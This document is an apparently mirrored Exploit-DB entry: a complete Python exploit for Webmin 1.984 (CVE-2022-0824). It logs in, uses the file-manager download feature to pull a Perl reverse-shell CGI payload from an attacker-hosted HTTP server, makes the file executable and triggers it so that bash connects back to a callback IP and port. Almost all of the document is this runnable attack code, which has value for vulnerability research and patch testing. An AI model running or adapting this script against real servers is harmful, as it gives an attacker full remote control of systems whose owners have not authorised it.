Webmin 1.984 – Remote Code Execution (Authenticated)

  • 作者: faisalfs10x
    日期: 2022-03-09
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50809/
  • # Exploit Title: Webmin 1.984 - Remote Code Execution (Authenticated)
    # Date: 2022-03-06
    # Exploit Author: faisalfs10x (https://github.com/faisalfs10x)
    # Vendor Homepage: https://www.webmin.com/
    # Software Link: https://github.com/webmin/webmin/archive/refs/tags/1.984.zip
    # Version: <= 1.984
    # Tested on: Ubuntu 18
    # Reference: https://github.com/faisalfs10x/Webmin-CVE-2022-0824-revshell
    
    
    #!/usr/bin/python3
    
    """
    Coded by: @faisalfs10x
    GitHub: https://github.com/faisalfs10x
    Reference: https://huntr.dev/bounties/d0049a96-de90-4b1a-9111-94de1044f295/
    """ 
    
    import requests
    import urllib3
    import argparse
    import os
    import time
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    TGREEN ='\033[32m'
    TRED ='\033[31m' 
    TCYAN ='\033[36m' 
    TSHELL ='\033[32;1m' 
    ENDC = '\033[m'
    
    class Exploit(object):
    def __init__(self, target, username, password, py3http_server, pyhttp_port, upload_path, callback_ip, callback_port, fname):
    self.target = target
    self.username = username
    self.password = password
    self.py3http_server = py3http_server
    self.pyhttp_port = pyhttp_port
    self.upload_path = upload_path
    self.callback_ip = callback_ip
    self.callback_port = callback_port
    self.fname = fname
    
    #self.proxies = proxies
    self.s = requests.Session()
    
    
    def gen_payload(self):
    payload = ('''perl -e 'use Socket;$i="''' + self.callback_ip+ '''";$p=''' + self.callback_port + ''';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};' ''')
    print(TCYAN + f"\n[+] Generating payload to {self.fname} in current directory", ENDC)
    f = open(f"{self.fname}", "w")
    f.write(payload)
    f.close()
    
    def login(self):
    login_url = self.target + "/session_login.cgi"
    cookies = { "redirect": "1", "testing": "1", "PHPSESSID": "" }
    
    data = { 'user' : self.username, 'pass' : self.password }
    try:
    r = self.s.post(login_url, data=data, cookies=cookies, verify=False, allow_redirects=True, timeout=10)
    success_message = 'System hostname'
    if success_message in r.text:
    print(TGREEN + "[+] Login Successful", ENDC)
    else:
    print(TRED +"[-] Login Failed", ENDC)
    exit()
    
    except requests.Timeout as e:
    print(TRED + f"[-] Target: {self.target} is not responding, Connection timed out", ENDC)
    exit()
    
    def pyhttp_server(self):
    print(f'[+] Attempt to host http.server on {self.pyhttp_port}\n')
    os.system(f'(setsid $(which python3) -m http.server {self.pyhttp_port} 0>&1 & ) ') # add 2>/dev/null for clean up
    print('[+] Sleep 3 second to ensure http server is up!')
    time.sleep(3) # Sleep for 3 seconds to ensure http server is up!
    
    def download_remote_url(self):
    download_url = self.target + "/extensions/file-manager/http_download.cgi?module=filemin"
    headers = { 
    "Accept": "application/json, text/javascript, */*; q=0.01", 
    "Accept-Encoding": "gzip, deflate", 
    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", 
    "X-Requested-With": "XMLHttpRequest", 
    "Referer": self.target + "/filemin/?xnavigation=1" 
    }
    
    data = { 
    'link': "http://" + self.py3http_server + "/" + self.fname, 
    'username': '', 
    'password': '', 
    'path': self.upload_path 
    }
    
    r = self.s.post(download_url, data=data, headers=headers, verify=False, allow_redirects=True)
    print(f"\n[+] Fetching {self.fname} from http.server {self.py3http_server}")
    
    def modify_permission(self):
    modify_perm_url = self.target + "/extensions/file-manager/chmod.cgi?module=filemin&page=1&paginate=30"
    headers = { "Referer": self.target + "/filemin/?xnavigation=1" }
    data = { "name": self.fname, "perms": "0755", "applyto": "1", "path": self.upload_path }
     
    r = self.s.post(modify_perm_url, data=data, headers=headers, verify=False, allow_redirects=True)
    print(f"[+] Modifying permission of {self.fname} to 0755")
    
    def exec_revshell(self):
    url = self.target + '/' + self.fname
    try:
    r = self.s.get(url, verify=False, allow_redirects=True, timeout=3)
    except requests.Timeout as e: # check target whether make response in 3s, then it indicates shell has been spawned!
    print(TGREEN + f"\n[+] Success: shell spawned to {self.callback_ip} via port {self.callback_port} - XD", ENDC)
    print("[+] Shell location: " + url)
    else:
    print(TRED + f"\n[-] Please setup listener first and try again with: nc -lvp {self.callback_port}", ENDC)
    
    def do_cleanup(self):
    print(TCYAN + '\n[+] Cleaning up ')
    print(f'[+] Killing: http.server on port {self.pyhttp_port}')
    os.system(f'kill -9 $(lsof -t -i:{self.pyhttp_port})')
    exit()
    
    def run(self):
    self.gen_payload()
    self.login()
    self.pyhttp_server()
    self.download_remote_url()
    self.modify_permission()
    self.exec_revshell()
    self.do_cleanup()
    
    
    if __name__ == "__main__":
    
    parser = argparse.ArgumentParser(description='Webmin CVE-2022-0824 Reverse Shell')
    parser.add_argument('-t', '--target', type=str, required=True, help=' Target full URL, https://www.webmin.local:10000')
    parser.add_argument('-c', '--credential', type=str, required=True, help=' Format, user:user123')
    parser.add_argument('-LS', '--py3http_server', type=str, required=True, help=' Http server for serving payload, ex 192.168.8.120:8080')
    parser.add_argument('-L', '--callback_ip', type=str, required=True, help=' Callback IP to receive revshell')
    parser.add_argument('-P', '--callback_port', type=str, required=True, help=' Callback port to receive revshell')
    parser.add_argument("-V",'--version', action='version', version='%(prog)s 1.0')
    args = parser.parse_args()
    
    target = args.target
    username = args.credential.split(':')[0]
    password = args.credential.split(':')[1]
    py3http_server = args.py3http_server
    pyhttp_port = py3http_server.split(':')[1]
    callback_ip = args.callback_ip
    callback_port = args.callback_port
    upload_path = "/usr/share/webmin" # the default installation of Webmin Debian Package, may be in different location if installed using other method.
    fname = "revshell.cgi" # CGI script name, you may change to different name
    
    pwn = Exploit(target, username, password, py3http_server, pyhttp_port, upload_path, callback_ip, callback_port, fname)
    pwn.run()